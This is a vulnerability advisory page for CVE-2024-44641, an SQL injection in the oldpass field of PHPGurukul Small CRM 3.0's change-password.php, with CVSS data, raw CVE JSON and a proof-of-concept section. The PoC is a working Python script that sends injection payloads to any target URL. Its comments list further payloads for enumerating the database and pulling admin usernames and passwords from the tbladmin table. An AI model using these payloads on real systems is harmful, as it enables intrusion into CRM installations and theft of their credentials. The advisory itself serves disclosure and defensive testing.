Security Vulnerability Report
中文
CVE-2024-44641 CVSS 6.5 MEDIUM

CVE-2024-44641

Published: 2025-11-17 17:15:46
Last Modified: 2025-11-19 13:11:50

Description

PHPGurukul Small CRM 3.0 is vulnerable to SQL Injection via the oldpass parameter in change-password.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:small_crm:3.0:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Small CRM 3.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44641 SQL Injection PoC # Target: PHPGurukul Small CRM 3.0 # Vulnerability: SQL Injection in change-password.php oldpass parameter def sql_injection_test(target_url, payload): """ Test for SQL injection vulnerability in oldpass parameter """ # Prepare the injection payload injection_data = { 'oldpass': payload, 'newpass': 'TestPass123', 'confirmpass': 'TestPass123' } try: # Send POST request to change-password.php response = requests.post( target_url + '/change-password.php', data=injection_data, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2024-44641.py <target_url>") print("Example: python cve-2024-44641.py http://target.com/small-crm") sys.exit(1) target = sys.argv[1].rstrip('/') print("[*] CVE-2024-44641 SQL Injection Tester") print(f"[*] Target: {target}") # Test payloads payloads = [ "' OR '1'='1", # Basic bypass "' OR '1'='1' --", # MySQL comment bypass "' UNION SELECT NULL--", # Union injection test "admin'--", # Admin bypass "' OR 1=1 LIMIT 1--" # Boolean-based ] for payload in payloads: print(f"\n[*] Testing payload: {payload}") response = sql_injection_test(target, payload) if response: print(f"[+] Response status: {response.status_code}") if 'success' in response.text.lower() or 'password changed' in response.text.lower(): print("[!] Potential vulnerability detected!") else: print("[-] No obvious vulnerability indicator") if __name__ == '__main__': main() # Additional exploitation techniques: # 1. Database enumeration: # Payload: ' UNION SELECT database(),user(),version()-- # # 2. Extract admin credentials: # Payload: ' UNION SELECT username,password FROM tbladmin-- # # 3. Blind boolean-based: # Payload: ' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)='1 # # 4. Time-based blind injection: # Payload: ' AND SLEEP(5)--

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44641", "sourceIdentifier": "[email protected]", "published": "2025-11-17T17:15:45.677", "lastModified": "2025-11-19T13:11:50.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Small CRM 3.0 is vulnerable to SQL Injection via the oldpass parameter in change-password.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:small_crm:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "7E5041FC-F03B-4093-9FA3-33F2158A41C9"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44641.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/small-crm-php/", "source": "[email protected]", "tags": ["Product"]}]}}